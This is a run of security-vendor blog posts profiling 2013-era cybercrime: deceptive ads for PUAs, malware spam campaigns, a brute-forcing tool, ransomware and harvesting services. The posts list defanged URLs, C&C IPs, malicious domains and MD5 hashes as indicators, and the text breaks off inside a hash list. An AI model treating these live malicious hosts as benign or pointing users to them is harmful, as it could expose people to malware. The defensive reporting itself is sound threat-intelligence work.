The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Rogue ads targeting German users lead to Win32/InstallBrain PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

German Web users , watch what you install on your PCs!

Our sensors just picked up yet another rogue/deceptive ad campaign enticing visitors to install the bogus PC performance enhancing software known as 'PCPerformer', which in reality is a **Potentially Unwanted Application (PUA)** , that tricks users into installing (the Delta Toolbar in particular) on their PCs.

More details:

Sample screenshot of the actual advertisement:

Sample screenshot of the landing page:

The PUA is digitally signed by Performersoft LLC.

Rogue URLs: *hxxp://www.fasterstrongerpc.net/pcperformer/st2/pcperformer-st2-de.php* – 216.146.46.10; 216.146.46.11
hxxp://www.softologicsc.com/download

Detection rate for the Potentially Unwanted Application (PUA) – **MD5: d8c542ced7879d0ca4a1a69d0ca97a53** – detected by 4 out of 47 antivirus scanners as Adware.Downware.1295; APPL/InstallBrain.Gen.

Related MD5s part of the same family, known to have been downloaded from the same IPs (216.146.46.10; 216.146.46.11) in the past: MD5: 21420e6cb90327bae4cf28e5b0544f9b
MD5: 4b6ee8317779f95e80e53e79c4641fba
MD5: 89120c3a4cb5436ae0543cec1ad38bf0
MD5: b31f81472933315d66f9dea4b3453281
MD5: 7156f2b47fd0fe6a89abacdb4d0e58cd
MD5: dbe791e0aacd084400fa62e17e19e115
MD5: fb58ca29357d25ecd447e79f61b03b67

MD5: b88650fda149064d72a7c2a49d810c65
MD5: dbef581a9db01fca22fb1d353d1df2e5
MD5: 0a0c769ef483e879e727c45948925d3b
MD5: a755d221a33813b4db8e0fda03439649
MD5: 93e8bd74b2bbf7b9214a674ce9367343
MD5: 976cf6723be45baa81a40513fbef258a
MD5: 3c3098bc796856b514cedd4500ddf782
MD5: c54c9126ce834c9b1a72f1a084b52108
MD5: 671559ba02deba84ff3abe1a850c9bbc
MD5: 5ac20f9bdeae82c28b5c45cdd7ea37a0
MD5: 9ca82be7c1821873f04959ab10fa9c7a
MD5: 4e269ce006ce599e7823a40ee4fe0feb
MD5: cdafbf8c6986791b0b8f7b902473c3f1
MD5: a7c445a075a800b5836c7af43771628b
MD5: 64159f11f26e06bb64abb7e9424ed217
MD5: 59b828d65a35ce144ba2bbca1c60b9b0
MD5: 65ea351fa94d582d9548d484c073e4bb
MD5: 7a46f9fa6d5488d748c160cb81d291bb
MD5: 6dff7941b8fb63f2049a94d7905396e1
MD5: be5f167c91788779e4507c1a1c23a1fb
MD5: e7dc6f6c354f11d06c271fb1b84cfbb6
MD5: c37ffd6b19df0ed67b4ed090746d689b
MD5: 023feae3f3cc4ccfd9ebc87642a2eae7
MD5: 5143628e02e1b0edd6cc59354b423818
MD5: fe2546f291d1b26b35df56de9195c738
MD5: 29e07d6b8eca583cb04ce32ae021cfe2
MD5: d0db4f62648912e4baae34f1d918010b
MD5: 988132ace637767c5564ce1639aaed98
MD5: ba1d94fddafa30253f47b960f957241a
MD5: 08b97d5174fac38915a1a276c2ffa74f
MD5: 06ac452b2ffe750496364a054987fda0
MD5: 2242dd5a6616e50385aeb232a32bcc37
MD5: 145cf1b82455ecdc2cbe702b8a7236f3

Webroot SecureAnywhere users are proactively protected from these PUAs.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New commercially available Web-based Wordpress/Joomla brute-forcing tool spotted in the wild - Webroot Blog

facebook linkedin twitter

Thanks to the fact that users not only continue to use weak passwords, but also, re-use them across multiple Web properties, **brute-forcing** continues to be an effective tactic in the arsenal of every cybercriminal. With more malicious underground market releases continuing to utilize this technique in an attempt to empower potential cybercriminals with the necessary tools to achieve their objectives, several questions worth discussing emerge in the broader context of trends and fads within the cybercrime ecosystem.

What's the current state of the brute-forcing attack concept? Is it still a relevant attack technique, or have cybercriminals already found more efficient, evasive and effective tactics to compromise as many Web sites/servers as possible? Let's discuss the relevance of the attack concept in 2013, by profiling a recently released WordPress/Joomla brute-forcing and account verification tool.

More details:

Sample screenshots of the Web-based tool in action:

The Web-based tool not only verifies the validity of the WordPress/Joomla sites, but also has the capacity to launch brute-forcing attacks against them once its user loads a list of user names and popular passwords. According to its author, it can support 200 simultaneous connection attempts and is capable of testing 50 to 80 password combinations per second.

This tool is just the tip of the iceberg on an ever-green market segment within the cybercrime ecosystem that continues to push new releases capable of launching brute-forcing attacks against any given Web property. Despite this fact, it's worth emphasizing on the actual relevance of these tools in 2013, taking into consideration the following factors:

CAPTCHAs slow down the brute-forcing process and make it cost-ineffective – since the tool profiled in this post doesn't support **proxies** (which are basically **malware-infected hosts**), it means that there's a high probability that the brute-forcing approach will trigger a CAPTCHA challenge, meaning that the cybercriminal using it would now have to **outsource the CAPTCHA solving process** , increasing the cost of launching the attack. As far as those tools which support proxies are concerned, a potential cybercriminal will once again end up in a situation of increased operational costs, due to the fact that he'd have to purchase the high priced clean proxies, compared to a situation where he'd be syndicating proxies that are getting abused by virtually anyone due to their free nature

major Web properties increasingly enforce a 'strong password' policy to their new/current users, introduce two-factor authentication – in a practice that's signalling a 'wake up to reality' moment, in recent years, major Web properties started either enforcing a 'strong password' policy, or assessing the strength of the password through 'password strength meters' in an attempt to alert their users to the potential security threats due to their choice. Both of these practices can significantly decrease the effectiveness of an ongoing brute-forcing attack.

compromised WordPress/Joomla accounting data as a service has been available for years – while not exclusively available for WordPress/Joomla platforms, due to the nature of these 'logs on demand' type of services, virtually anyone can order WordPress/Joomla accounting data, with the cybercriminal behind the service, basically data mining his botnet's infected population. The availability of this service, has resulted in a short TTM (Time-to-Market) initial campaign launching phases, due to the fact that a potential cybercriminal would no longer need to figure out a way to set up the foundation for a successful campaign.

efficient exploitation through search engines' reconnaissance is a daily routine – we've already emphasized on the existence of this practice, in our previous '**New version of DIY Google Dorks based mass website hacking tool spotted in the wild** ' post, and

highlighted the commercial availability of these easy to use and highly efficient automatic Web site exploitation tools.
active exploitation of server farms continues to take place – yet another factor that we believe is contributing to the overall demise of 'brute-forcing your way in' type of attack tactics, is the emergence of **sophisticated platforms** attempting to infect as many Web sites as possible, through **a direct server farm compromise** .

So is this the end of 'brute-forcing your way in' as a tactic? Not necessarily. It's just that thanks to the dynamics of the cybercrime ecosystem, the tactic is getting largely replaced by other, more efficient, evasive and cost-effective approaches to compromise as many Web sites as possible.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Vodafone U.K MMS ID/Fake Sage 50 Payroll' themed emails lead to (identical) malware - Webroot Blog

facebook linkedin twitter

We've intercepted two, currently circulating, malicious spam campaigns enticing users into executing the malicious attachments found in the fake emails. This time the campaigns are impersonating **Vodafone** U.K or pretending to be a legitimate email generated by Sage 50's Payroll software.

More details:

Sample screenshot of the spamvertised email:

What's particularly interesting about these two campaigns is the fact that they've both been launched by the same cybercriminal/gang of cybercriminals. Not only do the campaigns use **an identical MD5** with two previously profiled **malicious spam campaigns** , but also, all the MD5s phone back to the same C&C server – *hxxp://62.76.178.178/fexco/com/index.php*

Detection rate for the unique MD5 used in the fake Vodafone U.K MMS themed campaign: **4e9d834fcc239828919eaa7877af49dd** – detected by 8 out of 47 antivirus scanners as Backdoor.Win32.Androm.abrz; Troj/Agent-ACLZ.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Tens of thousands of spamvertised emails lead to the Win32/PrimeCasino PUA (Potentially Unwanted Application) - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Looking for legitimate online gambling services? You may want to skip the rogue online casinos that I'll highlight in this post. Over the past few days, we intercepted multiple spam campaigns launched by the same party, enticing users into downloading fake online casinos most commonly known as the **Win32/PrimeCasino/Win32/Casonline** PUA (**Potentially Unwanted Application**).

More details:

Sample screenshots of the landing pages:

Rogue domains reconnaissance: royalvegascasino.com – 193.169.206.146
888casino.com – 213.52.252.59
spinpalace.com – 109.202.114.65
riverbelle1.co m – 193.169.206.233
alljackpotscasino.com – 64.34.230.122
luckynuggetcasino.com – 67.211.111.163
allslotscasino.com – 64.34.230.149; 205.251.192.125; 205.251.195.210; 205.251.196.131; 205.251.199.63

Detection rates for the Potentially Unwanted Applications (PUAs): AllJackpots.exe – **MD5: fed4e5ba204f3b3034b882481a6ab002** – detected by 8 out of 47 antivirus scanners as Win32/PrimeCasino; W32/Casino.P.gen!Eldorado; PUP.PrimeCasino
luckynugget.exe – **MD5: 1e97ddc0ed28f5256167bd93f56a46b2** – detected by 2 out of 47 antivirus scanners as GAME/Casino.Gen; W32/Casino.P.gen!Eldorado;

Riverbelle.exe – MD5: 1828fc794652e653e6083c204d3b1f34 – detected by 2 out of 47 antivirus scanners as GAME/Casino.Gen; W32/Casino.P.gen!Eldorado
RoyalVegas.exe – MD5: 2dd87b67d4b7ca7a1bfae2192b09f8e6 – detected by 2 out of 47 antivirus scanners as GAME/Casino.Gen; W32/Casino.P.gen!Eldorado

Rogue casino domains known to have responded to 193.169.206.146: 7sultans.eu
7sultanscasino.com
au.platinumplay.com
es.platinumplay.com
es.royalvegas.com
europalace.eu
europalacecasino.net
platinumplay.eu
platinumplaycasino.com
pokertime.eu
pokertime.me
royalvegas.com
royalvegas.eu
royalvegascasino.com
tracking.fortunelounge.com
vegaspalms.com
vegaspalms.eu
vegaspalmscasino.com
vegasvilla.com
vegasvilla.eu

Rogue casino MD5s known to have responded to 213.52.252.59: MD5: f7a367c0a912d360528ad1bf17e2511a
MD5: 900a689eb4be4efc838b3030be7635ab
MD5: 6522922216d8a3f3db232e4db86f93ff
MD5: b1baf3cedb5ccfd0ec4d547765928142
MD5: a98aa48b53938e74c8cb8edde5f1fadd
MD5: 79fbb5176d534a1e7329f323e8441bf7
MD5: 4ddf626ffc8b0273bece32a28194df5a
MD5: 9a6047f825ce6a07a3ace527b06b57fc
MD5: 4047e9a75346f225edfeedd4d3b0e2ee

MD5: ce32189e16bfe9467daefd2a0244711f
MD5: 8c0ce385200267f36a16cd030e086ef3
MD5: f42a01cd4aab337211329477a64e4d52
MD5: 692a99608cbf87ec77f3a1aea7dc3ce9
MD5: b51690ae96a5bf5fb02d189ec505cb6b

Webroot SecureAnywhere users are proactively protected from these PUAs.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'iGO4 Private Car Insurance Policy Amendment Certificate' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

In a clear demonstration of low **QA (Quality Assurance)** applied to an ongoing malicious spam campaign, the cybercriminals behind the recently profiled '**Cybercriminals spamvertise tens of thousands of fake 'Your Booking Reservation at Westminster Hotel' themed emails, serve malware** ' campaign, have launched yet another spam campaign.

Despite the newly introduced themed attempting to trick users into thinking that they've received a '*iGO4 Private Car Insurance Policy Amendment Certificate* ', the cybercriminals behind it didn't change the malicious binary from the previous campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment, which has naturally improved over the past 24 hours: MD5: 7eed403cfd09ea301c4e10ba5ed5148a – detected by 27 out of 47 antivirus scanners as Trojan-PSW.Win32.Tepfer.nprd; TrojanDownloader:Win32/Dofoil.R.

The sample continues phoning back to **hxxp://62.76.178.178/fexco/com/index.php** (*62-76-178-178.clodo.ru*), AS48172.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New commercially available mass FTP-based proxy-supporting doorway/malicious script uploading application spotted in the wild - Webroot Blog

facebook linkedin twitter

For many years now, **cybercriminals** have been efficiency **abusing** both legitimate **compromised** and **automatically** registered FTP accounts (using **CAPTCHA outsourcing**) in an attempt to monetize the process by uploading **cybercrime-friendly 'doorways'** or plain simple malicious scripts to be used later on in their campaigns.

This practice led to the emergence of DIY (do-it-yourself) tools and managed service platforms that allow virtually anyone to start monetizing these fraudulently or automatically registered accounting data, signaling a trend towards an efficiency-driven cybercrime ecosystem – a concept that's been materializing on a daily basis for a couple of years.

In this post, I'll profile a desktop-based tool that allows cybercriminals to automatically syndicate lists of **free/paid proxies** — think malware-infected hosts — adding an **additional layer of anonymity** in the process of uploading their doorways/malicious scripts on any given FTP server whose accounting data they've managed to compromise or automatically register.

More details:

Sample screenshots of the application in action:

The tool works in a fairly simple way. It requires a list of user names and passwords, which it will then use to automatically upload any given set of files/scripts through the use of automatically syndicated fresh lists of proxies. Despite the tool's rather modest set of features, it's still capable of causing widespread damage, given that the cybercriminal using it, has managed to obtain/generate the accounting data.

Will this boutique cybercrime operation continue introducing new features in the long-term? As long as its author manages to build a loyal customer base, we believe that it will, however, in these highly competitive times within the cybercrime ecosystem, **sophisticated efficiency-centered exploitation platforms** are the tools that are truly re-shaping the threat landscape.

We'll continue monitoring its development, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise tens of thousands of fake 'Your Booking Reservation at Westminster Hotel' themed emails, serve malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Cybercriminals are currently mass mailing tens of thousands of fake emails impersonating the Westminster Hotel, in an attempt to trick users into thinking that they've received a legitimate booking confirmation. In reality through, once the socially engineered users execute the malicious attachments, their PCs automatically join the botnet operated by the cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment – **MD5: 7eed403cfd09ea301c4e10ba5ed5148a** – detected by 6 out of 47 antivirus scanners as Trojan-PSW.Win32.Tepfer.nprd.

The UPX compressed executable creates an Alternate Data Stream (ADS), starts at Windows startup, and creates the following Mutexes: *3161B74B4743E1643757A72206361069701446 46*
CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004

It then phones back to the following C&C server: *hxxp://62.76.178.178/fexco/com/index.php*

We've already seen the same C&C directory structure in the previous profiled '**Fake 'Vodafone U.K Images' themed malware serving spam campaign circulating in the wild** ' campaign.

We're also aware of the following MD5s that are known to have phoned back to C&C servers with the same directory

structure: *MD5: e136d344f16fad04449371bc641072ac MD5: dd3fae4474960e066d75dea5a076d717 MD5: 9acfbac6cbbdcdb267253da6b2bfd211 MD5: c197bfbe2bd9f5a633403dc4a808f783 MD5: 3f4c9b8fec2d9b14190fc7c67769d09b MD5: 4e148480749937acef8a7d9bc0b3c8b5*

While we were investigating this campaign, we also found out that, apparently, the Westerminster Hotel in Rhyl, Denbighshire, did not renew their primarily domain name (**westminster-rhyl.com** – **64.74.223.31**), allowing opportunistic ‘domainers’ to quickly snatch it. Not surprisingly, we also detected malicious activity with multiple malicious software phoning back to the current hosting IP of the Web site of the Westerminster Hotel in Rhyl, Denbighshire.

Sample MD5s known to have phoned back to the same IP (64.74.223.31): *MD5: 4c44d9999c5062bb20251a7f3a5203b4 MD5: 27f48e921f0fe53a270b9190ed78c40e MD5: 625c9a1345a087aad55d623afae580c0 MD5: 9e8df7554a735c018ab5867990c9d7ca MD5: f5af385b41a2dfe1a79aea56fc8dad25 MD5: 9fa3f95de82a9a35300cbf2dd84432e8 MD5: 8f85ce9b0e37aad6c27983b9e5d5c20d MD5: c145b1758319eaa72afb7d9001f30ed8 MD5: f284db86e53fd34ead97665f57f4de91 MD5: ba8e24446a964ef02e2fc4a857629e0b MD5: 95dd5fbbf85ced862365acfcc01b9d18 MD5: 7e0228ea687f43f5572c6f771e8d121a MD5: 8eb2de143ca02a14a30a8b451faabe54 MD5: 10e954d6715f7be0e9d82cc7739b7294 MD5: 6c99fea06f9a40d955634682e237fcf2 MD5: 8a511b36ec769393a8b8866be8a8227b MD5: 4a659643f5ead3955c2dc99a11ecd98c MD5: 3fb9b91f4c972a5588dbcd192bfd7b8f MD5: 461f0338ed27771cd948034868a90fb0 MD5: 3575a0214f81f087c21c784a21e0369e MD5: 7797ae2b8697930eaed33348647b409b MD5: 339c342ae864099a731afdbc1b941fb3 MD5: 90f1387a390e2cc443a1df898f863f90 MD5:*

946044879ad2058a11f05111a2e6a921 MD5: 8ce6639b9aa6b97e9dbec5cdea9d9c73

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Export License/Invoice Copy' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

We’ve just intercepted a currently circulating malicious spam campaign consisting of tens of thousands of fake ‘Export License/Invoice Copy’ themed emails, enticing users into executing the malicious attachment. Once the socially engineered users do so, their PCs automatically become part of the botnet operated by the cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious attachment – **MD5: 5e2c658096f7e2360b3ea15c093ef07e** – detected by 26 out of 46 antivirus scanners as PWS:Win32/Zbot.gen!AM; HEUR:Trojan.Win32.Generic.

Once executed, the sample starts listening on port 1581. It also marks its presence on the affected PCs, through the following Mutexes: *Local{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Local{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global{BB67AFC4-9FA5-408A-DBC9-*

BE58FA349D4A} Global{32644819-7878-C989-11EB-B06D3016937F} Global{32644819-7878-C989-75EA-B06D5417937F} Global{32644819-7878-C989-4DE9-B06D6C14937F} Global{32644819-7878-C989-65E9-B06D4414937F} Global{32644819-7878-C989-89E9-B06DA814937F} Global{32644819-7878-C989-BDE9-B06D9C14937F} Global{32644819-7878-C989-51E8-B06D7015937F} Global{32644819-7878-C989-81E8-B06DA015937F} Global{32644819-7878-C989-FDE8-B06DDC15937F} Global{32644819-7878-C989-0DEF-B06D2C12937F} Global{32644819-7878-C989-5DEF-B06D7C12937F} Global{32644819-7878-C989-95EE-B06DB413937F} Global{32644819-7878-C989-F1EE-B06DD013937F} Global{32644819-7878-C989-89EB-B06DA816937F} Global{32644819-7878-C989-F9EF-B06DD812937F} Global{32644819-7878-C989-E5EF-B06DC412937F} Global{32644819-7878-C989-0DEE-B06D2C13937F} Global{32644819-7878-C989-09ED-B06D2810937F} Global{32644819-7878-C989-51EF-B06D7012937F} Global{32644819-7878-C989-35EC-B06D1411937F} Global{32644819-7878-C989-55EF-B06D7412937F} Global{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A} Global{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

It then phones back to the following C&C servers: *190.202.83.105 201.209.58.176 79.184.18.48 76.226.114.217 78.131.50.190 94.43.213.17 94.240.232.143 2.40.193.124 89.123.209.123 190.238.117.97 114.26.96.221 107.217.117.139 188.121.218.120 108.74.172.39 87.10.213.155 5.20.67.209 199.30.90.80 92.228.162.163 90.156.118.144 82.211.180.182 83.29.15.37 84.59.131.0 188.169.204.227 85.108.124.87 108.220.162.134 188.169.52.202 190.5.76.35 74.92.13.177 107.193.222.108 93.45.117.139*

The following malicious MD5s are also known to have phoned back to the same C&C servers over the past 24 hours: *MD5: 145e8f06bda983b07420dfffff5044ef MD5: 686a9166be128dec512df4d4555bba19 MD5:*

5e3cdbc8ef211a9b4d7b2922f40c3983	MD5:
5d79409951d48bb79777cbf82304ae98	MD5:
a8f9d987c9d8483256ddeef241693863	MD5:
25d4a2e3e09875c3d3737f4efb6ace54	MD5:
84b7454358936846f8490355c2142e8a	MD5:
2737b117a12adfada3269edd6c4ffd2f	MD5:
371d7ecb5aaa071dd50102ccb9de3959	MD5:
cfd4840196eb85a41e9d2412e90d292f	MD5:
4c7a90ce5db5ffece1cb29c9ffca26ee	MD5:
27f746e57f50eebfed65de1fdf3352d2	MD5:
27b4adf726331e56f0d1c8206b6803ba	MD5:
c9d386332c81d4d520bdaa8163ca3f24	MD5:
d3a76daa412e4ed3f418e5dd8b616291	MD5:
e90ee04802083fc390f271e57fe1cfe1	MD5:
b5f08d912930a16501d3eb8485bf006f	MD5:
dc388d9d63e40e8256163cd3ea9e17c0	MD5:
28b735bd54be1155fd98fb0979e223c8	MD5:
dcda68aa63578cfe1b44087bb377062e	MD5:
fdcd97d2e4021dea6c2bb527615ffa95	MD5:
f7d8e22eaf697842660a04a54ca1148f	MD5:
02c8996cae23885e7c46fa8bb19ae8bb	MD5:
1208af17b9d6c048f2ed263a4e1bbeba	MD5:
de5049d03fb0362ca1b7e629bbaf2445	MD5:
c91516c167087bbc594c0ce03e3fdd80	MD5:
afad143961e03433f3a162d2ebefcaa0	MD5:
036071e7eb10db7aaf19aa0f80459eb6	MD5:
44a1947ad74d3aa201172af1543540e3	MD5:
652ccf58e2e55afd368fdbf4d0764464	MD5:
c34ac13d8f10b543dbc397c9eb1df662	MD5:
c6cd8a84dabc1433a1716be7d3569b9e	MD5:
5ffcdc86ac55341b31352c0239685259	MD5:
3b47744946aecf8b5942ce2d54110ea0	MD5:
85ba4d6b434e8a92fa61219197286bee	MD5:
2548c5635cd8da2d6699e0c043c7ecf8	MD5:
b7042a2214622636d3bfb6725292c433	MD5:
66d0d4339e6f9aa56bd711cc11158233	MD5:
aa0de4ca13dc9a78e745531e75e7568a	MD5:

3473820f72e3be1315c887fc676cac19 MD5: 61ec7945c6bbae500e3f9fef9280796f MD5: 4aa49ed506d0bc4691337e26ec7e930e MD5: 450f7fca26c1fc37e830703e779cd032 MD5: 65eaabda2e348adffe2a7a2974ce96b6 MD5: d479b413253a54a50a75bfef18e14b52 MD5: 08e6dbd2edca1a85c392ba84c049740c MD5: 46cd159be7c00e888ed8f571ade012c3 MD5: 78675ed06f2a9d0812b916aa0bb148e0 MD5: cd008ad25ee7387ce404e6a5b7df4810 MD5: 9d74885213df255b254f0424dc374b07 MD5: 494206750cb7c1e8ff1027a8d1f8ef40 MD5: 8ab3d7624e7415d0c45aea51db1deef4 MD5: f1d183c26058ab94ba0d7584b0ee412f MD5: eaae570a67c5de0a657a5af4be988384 MD5: 858d32e2b8cf4dab9d5b9fb5352dce05 MD5: 06b236b967d1155aaca904f87a6047ae MD5: e25d75d33395de12acd0197f8fdf5cd5 MD5: 3f57b27fe6198159288018e5ef71906b MD5: 96d0663f49666a93ccba296130477378 MD5: d52db559de88d8ed6b10248dd1249a42 MD5: 06e1d9bbfef6d7af9a032e78c8432c6c MD5: 35b299d08874ae755eeb72b728e5b918 MD5: 06e1d9bbfef6d7af9a032e78c8432c6c MD5: 35b299d08874ae755eeb72b728e5b918 MD5: c356a37cb3ead0eff1c5b32c8ed33f76 MD5: 438c49178f2288bf9e1b2167ca93e0c9

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Novel ransomware tactic locks users' PCs, demands that they participate in a survey to get the unlock code - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

From **managed ransomware** as a service '**solutions** ' to **DIY ransomware generating tools** , this malicious market segment is as hot as ever with cybercriminals continuing to push new variants, and sometimes, literally introducing novel approaches to monetize locked PCs.

In this case, by forcing their users to complete a survey before they receive the unlock code.

More details:

Sample screenshot of the actual advertisement at a cybercrime-friendly international underground marketplace:

Its customers are able to add up to two survey links allowing them to earn more revenue from **the ransomware** victims who would be unwillingly participating in the surveys. The ransomware blocks the Task Manager, CMD, Regedit and the Start Menu. Its author accepts Bitcoin.

Despite the fact that the ransomware doesn't pose any sophisticated features — **bypassing signatures based antivirus scanning** is not a feature, it is an every day reality — it provides and example of an efficient business model aiming to utilize cost-per-action (CPA) affiliate networks in an attempt to generate revenue for the market participants.

We'll continue monitoring the development of this ransomware, and most importantly, whether or not this monetization model will scale across the international underground marketplace.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly launched underground market service harvests mobile phone numbers on demand - Webroot Blog

facebook linkedin twitter

In May of 2012, we highlighted the increasing public availability of **managed SMS spam services** that can send hundreds of thousands of SMS messages across multiple verticals. These services are assisted through the use of proprietary or **publicly obtainable phone number harvesting** and **verifying** DIY **applications** .

In this post, I'll profile one of the most recently advertised managed mobile phone number harvesting service which allows full customization of the harvesting criteria based on the specific requirements of the customer.

More details:

Sample screenshot representing the way the harvested data could be presented:

The default harvesting criteria consists of the following options: – user ID on the Web site from where the mobile phone number was originally harvested
– name/nickname
– city
– education background
– work position
– contact details (as provided)
– ICQ and Skype

Custom harvesting capabilities: – harvesting based on regions, cities, type of companies or E-shops
– age, sex, interests, work positions
– 100% custom harvesting based on a potential customer's preferences

It’s worth emphasizing on the fact that the service explicitly points out the time frame required for the harvesting to take place:
– from a 1000 to 35,000 harvested phone numbers based on criteria – 1 to 12 hours
– from 50,000 harvested numbers and more based on criteria – 72 to 86 hours

The accepted payment method is WebMoney. Next to the actual harvesting of mobile phone numbers on demand, the vendor is also ‘vertically integrating’ within the marketplace by also offering phone number verification services as well as actual SMS spamming/**SMS based TDoS (telephony denial of service attack) services** .

We expect to continue observing an increase in vendors offering cybercrime-as-a-service solutions with vertical market integration in mind, in an attempt by the cybercriminals operating them to occupy an even bigger market share within the TDoS and the SMS spam market segments.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Deceptive ads targeting German users lead to the 'W32/SomotoBetterInstaller' Potentially Unwanted Application (PUA) - Webroot Blog

facebook linkedin twitter

We've just intercepted yet another campaign serving deceptive ads, this time targeting German-speaking users into downloading and installing the privacy-invading 'FLV Player' **Potentially Unwanted Application (PUA)** , part of Somoto's pay-per-install network.

More details:

Sample screenshot of the actual rogue ad telling users that they should update their current media player:

Sample screenshot of the landing page:

Detection rate for the PUA: flvplayersetup.exe – **MD5: 9905e90b4ff276ec2869121c73f3f585** – detected by 9 out of 46 antivirus scanners as W32/SomotoBetterInstaller.A!Eldorado; Somoto BetterInstaller, BetterInstaller (fs).

Rogue domain name(landing/actual download location) reconnaissance: softigloo.com – 78.138.105.151
static.bicdn.com – 78.138.97.8

Known to have responded to the same IP (78.138.105.151) are also the following domains and MD5s: down1oads.com
download.softiglu.com
softigloo.com
softiglu.com
softingo.com
down1oads.com
downxsoft.com
softigloo.com

MD5: 02696da461918bd98324172130947d24 MD5:
f2b968c975f27a4d2212c98ecb818912 MD5:
b061e2a27452f74226d698e1b3e124bb MD5:
2da8c25cd6b6f5466b27bd815a1479a6 MD5:
3967c2686efea20264bff333a935c7ba MD5:
44b0d714486c230be83abf95a5e287ba MD5:
3ee49800cc3c2ce74fa63e6174c81dff MD5:
f567b39c5f895dd49367ebb87ac071da MD5:
fbd7091a58119d2b5faeac129b27cb2b MD5:
b06882e68a5f7fbd0aff04e52c5e4594 MD5:
32de3ecdcb996cf736d5397a30a53c5a MD5:
f4fef07d24fd8945dbfe9fef0a1613ff MD5:
236eb0c32b0cf3a9e169b05953228dc0 MD5:
0d2a33231e3ea4377daa9aba69badc07 MD5:
a57bc4ee2447fed12459ac1cee627f80 MD5:
62df6881311ab1f0a409cf1c69c89b9c MD5:
42f0d9fc97c213113b2b4d2b389cfe44 MD5:
122995fd94508909b75ed8c71994f22a MD5:
